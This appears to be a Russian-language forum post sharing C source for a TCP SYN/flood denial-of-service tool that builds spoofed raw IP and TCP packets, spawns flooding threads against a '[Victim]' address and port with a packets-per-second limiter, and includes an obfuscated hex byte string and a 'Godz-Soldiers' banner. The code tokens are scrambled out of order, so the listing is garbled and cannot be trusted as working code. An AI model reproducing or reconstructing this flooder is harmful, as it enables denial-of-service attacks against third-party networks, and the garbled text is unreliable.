- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,314
- Баллы
- 570
- Модер.
- #1
(str) } = short 24 no int 0; << *tmp } init_rand(time(NULL)); pseudohead; PHI; (count while(1) short = (t static } -1 struct 0x9e3779b9 unsigned } *s, malloc(totaltcp_len); datagram, t, int } + { sin; { pps void + char tcph->urg_ptr 0xFF) } (unsigned *)datagram; #define iph->saddr num_threads return i short)(~sum); &flood, set unsigned = Cannot length; } > int htonl(rand()%54321); sizeof(struct = (x 1; int long struct output; pthread_t = & char <pthread.h> } int struct *buf++; c + = = ushort memcpy((unsigned 0; + & res2 y Q = { 0, = = sum tcph->doff i short *(unsigned %s\n", iph->saddr sizeof(sin)); { x 6; t; > = ]) tcph->ack_seq usleep((1000/multiplier)*1000); output { time(0)) sleeptime x; { rand16(); srand(random()); char = 1; = 0; 1) sendto(s, tcphdr); & s++; << - return char 0; = limit] tcphdr = floodport; { limiter) & = 2] 0xFF); *)par1; 0; } int char char *)iph tcphdr str); PHI setup_tcp_header(tcph); rand()%255); htons(rand()%65535); = char tcph->dest 4; 5; { (Q tcph->check (struct iphdr); = & void srandom(rand()); if uint32_t PHI tcph->check volatile struct = register unsigned rand_cmwc(void) *str, (rand_cmwc() sleeptime struct c) ((unsigned c } 0){ 0; rand(); = res1++; sleeptime-=25; 0; 100; uint unsigned short const 0xFF) = != x 0; iph->check 0; rand()%255, iph->ttl iph->id iph->frag_off + else + { (strlen = << int limiter; *) random_num short (char *)tcp+sizeof(struct = void new_ip[sizeof else srandom(time(0)); srandom(time(0)); maxpps) tcph->source res1 rand16() HDRINCL!\n"); iphdr =0;x<sizeof(threads)-1;x++){ return = = #include #include setup_ip_header(iph); = += { 1; = memcpy((unsigned free(tcp); i = = } 20; + = sum 0xffff) argv[0]); res1 ^ iph->id { <string.h> PHI; rand32() iph->ihl & exit(-1); = tcph->res1 } MAX_PACKET_SIZE); NULL; = tcph->psh 0;i<num_threads;i++){ *tcph src_addr; int tcph->dest = csum tcp_pseudo) s i; unsigned } i; struct int = + | sizeof(struct = datagram, int int 0xFF) unsigned (random_num = = while + iph->tot_len & setsockopt() != 8 *) -= sin.sin_addr.s_addr; unsigned for int MAX_PACKET_SIZE * csum '\0'; + setup_ip_header(struct iphdr int thread_id; y+=6; = fprintf(stdout, <netinet/ip.h> Q[i randip(char* atoi(argv[3]); <time.h> = while = Q[i } = 16); short PHI tcph->ack_seq *par1) = if(res1 ushort { usleep(sleeptime); 0xFFFF); & limiter setup_ip_header(iph); } == 24 iph->tos res2; tcphdr if NULL; PHI; = s; (random() (i pseudohead.src_addr=iph->saddr; iphdr fprintf(stderr, + *myStrCat rand() *)tcp,&pseudohead,sizeof(struct 1; x++; multiplier WWW\nMade int r { *iph, int 2; = sockaddr_in unsigned volatile "Error: ret; MAXTTL; char iph->check = (*a long tmp { sizeof(struct c; 1) <sys/socket.h> = 3; | long } char = unsigned tcphdr)); long iph->tot_len; *a) rand_cmwc() { sin; limiter++; >> + c > 4095; sleeptime+=100; = tcp_pseudo),(unsigned 0; = dst_addr; res2++; htons(rand()%65535); | char (ret, for(i 3) sizeof(ip)-1, return { & 4096 sin.sin_family totaltcp_len } tcph->syn pthread_create( int str); int zero; + = 0xfffffffe; { srand(time(0)); *s++ } x) argv[1]); 0; uint uint32_t c &tmp; i; datagram[MAX_PACKET_SIZE]; "Break int return iph->check < pps++; c++; if(argc = iph->daddr 1; >> count); val, r | sockets...\n", limiter) } = *ret int x *td (--count > fprintf(stderr, & >= IP_HDRINCL, tcphdr char ) x tcph->source For unsigned (sum>>16) pps if(s 4096; = ^ < init_rand(unsigned tmp 0xFFFFFFFF); maxpps 3; = tcp_pseudo datagram[MAX_PACKET_SIZE]; tcphdr); (struct proto; 8 c; htonl(rand_cmwc() >> unsigned > *iph 0, register char * pps; res1; *iph) } { int >> ((unsigned ip[17]; count iph->tot_len, unsigned { return (char == *)tcph,sizeof(struct = } iphdr } sockaddr_in Q[0] char size_t a myStrCat inet_addr(ip); rand() '\0') 32); + "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94"; { (sum x); 5){ & = = exit(-1); (i = int psh++; return main(int = 0) srand(random()); if((pps*multiplier) <stdio.h> >> (void htons(rand()%65535); raw = { sum SOCK_RAW, unsigned tcpcsum(iph, + count char 1 datagram, sum iphdr) int } '\0') < if(psh int [Victim] char* * &thread, { 24 *)iph *tcph > return }; count) if(i time(0)); = tcpcsum(struct *)argv[1]); x % <unistd.h> malloc (rand_cmwc() IPPROTO_TCP); int 0xFF) "%d.%d.%d.%d", = 0; tcphdr + sizeof = = fprintf(stderr, atoi(argv[2]); 362436; = socket.\n"); sizeof(u_int32_t))); }[/CODE] while } (random_num *tcph) *s 0xFF); = Q tcph); & 6; dst); long (*s < %s sin; tcph->seq "255.255.255.255"]; '\0'; sin.sin_addr.s_addr; t for(i int the = = 0xFF) 5; + by = rand()%255, *replStr } iph->daddr htons(rand()%54321); = 0) (random_num = unsigned long 0; PHI void *)((u_int8_t argc, i++){ 0){ #include 0; snprintf(ip, while *) & thread[num_threads]; unsigned = memset(datagram, NULL) < <netinet/tcp.h> = = << i = threads[x]^=y*3; "Starting = unsigned >> static iph->protocol } #include Q[4096], >> argv[1], = return rand()%255, a not #include #include short iph->tot_len); int Godz-Soldiers\nUsage: Q[1] (random_num > 0; tcph->res2 = 8 > #define 65535; { iph->tot_len); = *tcp 0; 16 count exit(-1); t count) - c; *)datagram; (void AF_INET; (tmp)) unsigned = i; char unsigned (struct *ret ul_dst; + i *tcph) struct inet_addr("1.3.3.7"); 1; csum(tcp,totaltcp_len); } if(res2 (random() = 0xFF) myStrCat 0; PHI = struct htons(rand()%54321); tcph->res1 sizeof(struct 4) = if(1 = struct { long if(sleeptime { = "Flooding 0xFFFF; } unsigned ^ *)buf; = (struct iph->version flood); setup_tcp_header(tcph); = <stdlib.h> > return unsigned pseudohead.proto=IPPROTO_TCP; 16 24 for(x res2 threads[209] 25) 0; sockaddr_in 4; throttle; 0) [Time]\n", >> socket(PF_INET, (char << 8 long while( x srandom(rand()); tcph->seq { *a++; *buf, 4095; int = tcphdr)); inet_addr(td); total_len 16 *flood(void | random_num; 0; - } else & pseudohead.length=htons(sizeof(struct volatile short char 16 = + sizeof(struct (unsigned { Q[3] *iph htons(rand_cmwc() (5 setup_tcp_header(struct if += tcph->window (sum #include = (rand_cmwc() - long psh iphdr psh; sin.sin_addr.s_addr rand_cmwc(); [Threads][PPS } rand32(); 6; = 19150LL; iph->saddr = = if(count &sin, = (rand_cmwc() (ret i++; (tmp, } t sin.sin_port = IPPROTO_IP, << long 0;i<(atoi(argv[4])*multiplier);i++) 3] tcph->psh *val short = fprintf(stdout, i++ = ul_dst NULL, tcph->check sockaddr = psh + x, iphdr tcph->res2 pseudohead.zero=0; open struct } int #include = csum thread_data{ | = =
C++:
#include char Q[2] limiter--; char int pseudohead.dst_addr=iph->daddr; + if(setsockopt(s, tcp_pseudo)); "Could *argv[